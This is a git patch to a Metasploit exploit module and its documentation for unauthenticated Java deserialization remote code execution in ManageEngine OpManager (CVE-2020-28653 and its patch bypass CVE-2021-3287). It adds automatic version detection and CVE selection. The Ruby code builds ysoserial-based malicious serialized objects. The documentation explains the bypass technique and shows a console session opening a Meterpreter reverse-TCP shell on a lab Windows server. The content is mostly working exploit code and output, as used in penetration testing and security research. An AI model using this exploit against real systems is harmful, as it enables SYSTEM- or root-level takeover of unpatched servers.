From fd0f565095f4c9cb64502765d645f088f11930c1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 16 Sep 2021 15:15:52 -0400 Subject: [PATCH] Add automatic targeting for the CVEs --- .../http/opmanager_sumpdu_deserialization.md | 50 +++++++++++++---- .../http/opmanager_sumpdu_deserialization.rb | 55 +++++++++++++++---- 2 files changed, 81 insertions(+), 24 deletions(-) diff --git a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md index 59bc600b29f9..11c4b9767982 100644 --- a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md +++ b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md @@ -6,7 +6,28 @@ An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager compon arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - -12.5.232. +12.5.328. + +#### CVE-2020-28653 +This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the +SmartUpdateManager handler that when deserialized executes an arbitary OS command. + +#### CVE-2021-3287 +This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManger versions 12.5.233 - 12.5.328. When the +original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object +has a flaw in it's validation logic. The object works by requiring the caller to specify a list of one or more object +classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the +first is protected because once a serialized object of an allowed type is read from the stream, the +`ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any +type. + +The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance +of the `SUMServerIOAndDataAnalyzer` object whose `process` method makes multiple `readObject` calls using the same +instance for each. + +Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is +not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log +handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible. ### Setup (Windows) @@ -47,44 +68,49 @@ AUTHORITY\SYSTEM. ## Options +### CVE +Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the +correct vulnerability. + ## Scenarios -### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.174 +### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328 ``` msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization -[*] Using configured payload cmd/windows/powershell_reverse_tcp -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.10 -RHOSTS => 192.168.159.10 +[*] Using configured payload windows/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96 +RHOSTS => 192.168.159.96 msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell TARGET => Windows PowerShell msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 +msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check -[*] 192.168.159.10:8060 - The target appears to be vulnerable. +[*] 192.168.159.96:8060 - The target appears to be vulnerable. msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] An HTTP session cookie has been issued +[*] Detected version: 12.5.328 [*] The request handler has been associated with the HTTP session -[*] Sending stage (200262 bytes) to 192.168.159.10 -[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:50295) at 2021-09-13 16:31:45 -0400 +[*] Sending stage (200262 bytes) to 192.168.159.96 +[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400 meterpreter > getuid -Server username: NT AUTHORITY\SYSTEM +Server username: MSFLAB\smcintyre meterpreter > sysinfo Computer : WIN-3MSP8K2LCGC OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : MSFLAB -Logged On Users : 7 +Logged On Users : 9 Meterpreter : x64/windows -meterpreter > +meterpreter > ``` [0]: https://archives.manageengine.com/opmanager/ diff --git a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb index c524d1d76700..f206e6c61ac8 100644 --- a/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb +++ b/modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb @@ -26,7 +26,7 @@ def initialize(info = {}) deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This - vulnerability affects OpManager versions 12.1 - 12.5.232. + vulnerability affects OpManager versions 12.1 - 12.5.328. }, 'Author' => [ 'Johannes Moritz', # Original Vulnerability Research @@ -122,7 +122,8 @@ def initialize(info = {}) ) register_options([ - OptString.new('TARGETURI', [ true, 'OpManager path', '/']) + OptString.new('TARGETURI', [ true, 'OpManager path', '/']), + OptEnum.new('CVE', [ true, 'Vulnerability to use', 'Automatic', [ 'Automatic', 'CVE-2020-28653', 'CVE-2021-3287' ] ]) ]) end @@ -136,7 +137,7 @@ def check # the patched version will respond back with 200 OK and no data in the response body return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b) - Exploit::CheckCode::Appears + Exploit::CheckCode::Detected end def exploit @@ -149,6 +150,24 @@ def exploit fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session') end print_status('An HTTP session cookie has been issued') + if (@vulnerability = datastore['CVE']) == 'Automatic' + # if selecting the vulnerability automatically, use version detection + if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil? + fail_with(Failure::UnexpectedReply, 'Could not identify the remote version number') + end + + version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}") + print_status("Detected version: #{version}") + if version < Rex::Version.new('12.1') + fail_with(Failure::NotVulnerable, 'Versions < 12.1 are not affected by the vulnerability') + elsif version < Rex::Version.new('12.5.233') + @vulnerability = 'CVE-2020-28653' + elsif version < Rex::Version.new('12.5.329') + @vulnerability = 'CVE-2021-3287' + else + fail_with(Failure::NotVulnerable, 'Versions > 12.5.328 are not affected by this vulnerability') + end + end # Step 2: Add the requestHandler to the HTTP session res = send_request_cgi({ @@ -162,7 +181,11 @@ def exploit end print_status('The request handler has been associated with the HTTP session') - send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + if @vulnerability == 'CVE-2021-3287' + # need to send an OPEN_SESSION request to the SUM PDU handler so the SUMServerIOAndDataAnalyzer object is + # initialized and made ready to process subsequent requests + send_sumpdu(build_sumpdu(data: build_java_serialized_int(0))) + end # Step 3: Exploit the deserialization vulnerability to run commands case target['Type'] @@ -232,15 +255,23 @@ def execute_command(cmd, _opts = {}) # dependency on the commons-collections library making it usable in this context java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('frohoff/ysoserial#168', cmd) - pdu_data = build_java_serialized_int(2) - pdu_data << JAVA_SERIALIZED_STRING - pdu_data << JAVA_SERIALIZED_STRING - pdu_data << JAVA_SERIALIZED_STRING - pdu_data << JAVA_SERIALIZED_STRING_ARRAY - pdu_data << Serialization::TC_RESET - pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + if @vulnerability == 'CVE-2020-28653' + # in this version, the SUM PDU that is deserialized is the malicious object + sum_pdu = java_payload + elsif @vulnerability == 'CVE-2021-3287' + # the patch bypass exploits a flaw in the ITOMObjectInputStream where it can be put into a state that allows + # arbitrary objects to be deserialized by first sending an object of the expected type + pdu_data = build_java_serialized_int(2) # 2 is some kind of control code necessary to execute the desired code path + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING + pdu_data << JAVA_SERIALIZED_STRING_ARRAY + pdu_data << Serialization::TC_RESET + pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b) + sum_pdu = build_sumpdu(data: pdu_data) + end - res = send_sumpdu(build_sumpdu(data: pdu_data)) + res = send_sumpdu(sum_pdu) fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200 end end